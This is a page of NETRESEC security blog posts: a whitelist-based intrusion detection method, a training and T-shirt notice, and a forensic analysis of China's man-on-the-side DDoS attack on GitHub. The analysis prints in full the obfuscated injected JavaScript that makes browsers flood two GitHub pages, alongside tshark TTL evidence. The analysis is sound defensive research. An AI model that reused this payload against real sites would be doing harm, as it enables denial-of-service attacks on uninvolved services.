NETRESEC Network Security Blog

Monday, 17 August 2015 08:45:00 (UTC/GMT)

Rinse-Repeat Intrusion Detection

I am a long time skeptic when it comes to blacklists and other forms of signature based detection mechanisms. The information security industry has also declared the signature based anti-virus approach dead several times during the past 10 years. Yet, we still rely on anti-virus signatures, IDS rules, IP blacklists, malware domain lists, YARA rules etc. to detect malware infections and other forms of intrusions in our networks. This outdated approach puts a high administrative burden on IT and security operations today, since we need to keep all our signature databases up to date, both when it comes to end point AV signatures as well as IDS rules and other signature based detection methods and threat feeds. Many organizations probably spend more time and money on updating all these blacklists and signature databases than actually investigating the security alerts these detection systems generate. What can I say; the world is truly upside down...

Shower image by Nevit Dilmen Image: Shower by Nevit Dilmen.

I would therefore like to use this blog post to briefly describe an effective blacklist-free approach for detecting malware and intrusions just by analyzing network traffic. My approach relies on a combination of whitelisting and common sense anomaly detection (i.e. not the academic statistical anomaly detection algorithms that never seem to work in reality). I also encourage CERT/CSIRT/SOC/SecOps units to practice Sun Tzu's old ”know yourself”, or rather ”know your systems and networks” approach.

Know your enemy and know yourself and you can fight a hundred battles without disaster.
- Sun Tzu in The Art of War
Art of War in Bamboo by vlasta2
Image: Art of War in Bamboo by vlasta2

My method doesn't rely on any dark magic, it is actually just a simple Rinse-Repeat approach built on the following steps:

  1. Look at network traffic
  2. Define what's normal (whitelist)
  3. Remove that
  4. GOTO 1.

After looping through these steps a few times you'll be left with some odd network traffic, which will have a high ratio of maliciousness. The key here is, of course, to know what traffic to classify as ”normal”. This is where ”know your systems and networks” comes in.


What Traffic is Normal?

I recently realized that Mike Poor seems to be thinking along the same lines, when I read his foreword to Chris Sanders' and Jason Smith's Applied NSM:

The next time you are at your console, review some logs. You might think... "I don't know what to look for". Start with what you know, understand, and don't care about. Discard those. Everything else is of interest.

Applied NSM

Following Mike's advice we might, for example, define“normal” traffic as:

  • HTTP(S) traffic to popular web servers on the Internet on standard ports (TCP 80 and 443).
  • SMB traffic between client networks and file servers.
  • DNS queries from clients to your name server on UDP 53, where the servers successfully answers with an A, AAAA, CNAME, MX, NS or SOA record.
  • ...any other traffic which is normal in your organization.

Whitelisting IP ranges belonging to Google, Facebook, Microsoft and Akamai as ”popular web servers” will reduce the dataset a great deal, but that's far from enough. One approach we use is to perform DNS whitelisting by classifying all servers with a domain name listed in Alexa's Top 1 Million list as ”popular”.

You might argue that such a method just replaces the old blacklist-updating-problem with a new whitelist-updating-problem. Well yes, you are right to some extent, but the good part is that the whitelist changes very little over time compared to a blacklist. So you don't need to update very often. Another great benefit is that the whitelist/rinse-repeat approach also enables detection of 0-day exploits and C2 traffic of unknown malware, since we aren't looking for known badness – just odd traffic.


Hunting with Rinse-Repeat

Mike Poor isn't the only well merited incident handler who seems to have adopted a strategy similar to the Rinse-Repeat method; Richard Bejtlich (former US Air Force CERT and GE CIRT member) reveal some valuable insight in his book “The Practice of Network Security Monitoring”:

I often use Argus with Racluster to quickly search a large collection of session data via the command line, especially for unexpected entries. Rather than searching for specific data, I tell Argus what to omit, and then I review what’s left.

In his book Richard also mentions that he uses a similar methodology when going on “hunting trips” (i.e. actively looking for intrusions without having received an IDS alert):

Sometimes I hunt for traffic by telling Wireshark what to ignore so that I can examine what’s left behind. I start with a simple filter, review the results, add another filter, review the results, and so on until I’m left with a small amount of traffic to analyze.

The Practice of NSM

I personally find Rinse-Repeat Intrusion Detection ideal for hunting, especially in situations where you are provided with a big PCAP dataset to answer the classic question “Have we been hacked?”. However, unfortunately the “blacklist mentality” is so conditioned among incident responders that they often choose to crunch these datasets through blacklists and signature databases in order to then review thousands of alerts, which are full of false positives. In most situations such approaches are just a huge waste of time and computing power, and I'm hoping to see a change in the incident responders' mindsets in the future.

I teach this “rinse-repeat” intrusion detection method in our upcoming Network Forensics Training in Stockholm. Students will get hands-on experience with a dataset of 3.5 GB / 40.000 flows, which they will be able to reduce to just a fraction through a few iterations in the rinse-repeat loop. The remaining part of the PCAP dataset has a very high ratio of hacking attacks as well as command-and-control traffic from RAT's, backdoors and botnets.

Network Forensics Training in Stockholm

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1582D1D

Posted by Erik Hjelmvik on Monday, 17 August 2015 08:45:00 (UTC/GMT)

Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Two-day Network Forensics Class in Stockholm

Network Forensics Training in Stockholm

We are running a two-day Network Forensics class in Stockholm on 15-16th of September.

SEC-T.org logo Our class is held the days before the SEC-T conference, which is a great technical information security conference in Stockholm, and at the same venue (Nalen). Visitors can thereby plan 4 days of training and conferencing in Stockholm without having to transfer between hotels.

The Network Forensics class consists of a mix of theory and hands-on labs, where students will learn to analyze Full Packet Capture (FPC) files. The scenarios in the labs are primarily focused at network forensics for incident response, but are also relevant for law enforcement/internal security etc. where the network traffic of a suspect or insider is being monitored.

You can find more information about the class here:
http://www.netresec.com/?page=Training

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=156A65B

Posted by Erik Hjelmvik on Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Tuesday, 02 June 2015 20:00:00 (UTC/GMT)

T-shirt : PCAP or it didn't happen

We received the first batch of our awesome “PCAP or it didn't happen” T-shirts today!

PCAP or it didn't happen T-shirt

Want one for yourself? Simply send an email to sales@netresec.com and let us know:

  • Your size: S / M / L / XL / XXL
  • Your shipping address

Tshirt specs:

  • Color: Black
  • Print: RJ45 socket in silver, "PCAP or it didn't happen" in white
  • Fabric: 100% cotton

Price: $12.00 USD per t-shirt + shipping cost.
Shipping cost: $9.00 USD for the first item and $3.00 USD for each additional item.

We will send you a payment link via PayPal after sales@netresec.com have received your order. Your ordered teeshirt will then be shipped as soon as we've received your payment. We ship to customers world wide!

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=156E0D3

Posted by Erik Hjelmvik on Tuesday, 02 June 2015 20:00:00 (UTC/GMT)

Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on GitHub.com.

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to github.com (IP address 192.30.252.[128-131]) in an infinite loop.


Baidu Analytics

The Baidu Analytics script can be loaded from URLs like:
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 (normal version)
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130


Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are github.com/greatfire and github.com/cn-nytimes, which are mirror sites for GreatFire.org and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).


TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.


Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In GreatFire.org's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • hm.baidu.com/h.js
  • cbjs.baidu.com/js/o.js
  • dup.baidustatic.com/tpl/wh.js
  • dup.baidustatic.com/tpl/ac.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • eclick.baidu.com/fp.htm?br= ...
  • pos.baidu.com/acom?adn= ...
  • cpro.baidu.com/cpro/ui/uijs.php?tu=...
  • pos.baidu.com/sync_pos.htm?cproid=...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs

Conclusions

This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.


UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.


UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For 115.239.210.141, the GFW and the GC both exist between hop 12 and 13, on the link between 144.232.12.211 and 202.97.33.37, as the traffic enters China Telecom. For 123.125.65.120, the GFW and GC both exist between hop 17 and 18, on the link between 219.158.101.61 and 219.158.101.49, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:


UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when greatfire.org was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • cbjs.baidu.com (123.125.65.120)
  • eclick.baidu.com (123.125.115.164)
  • hm.baidu.com (61.135.185.140)
  • pos.baidu.com (115.239.210.141)
  • cpro.baidu.com (115.239.211.17)
  • bdimg.share.baidu.com (211.90.25.48)
  • pan.baidu.com (180.149.132.99)
  • wapbaike.baidu.com (123.125.114.15)

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class, which will be held in Stockholm on the 15-16'th of September.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=153DB4E

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2011)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)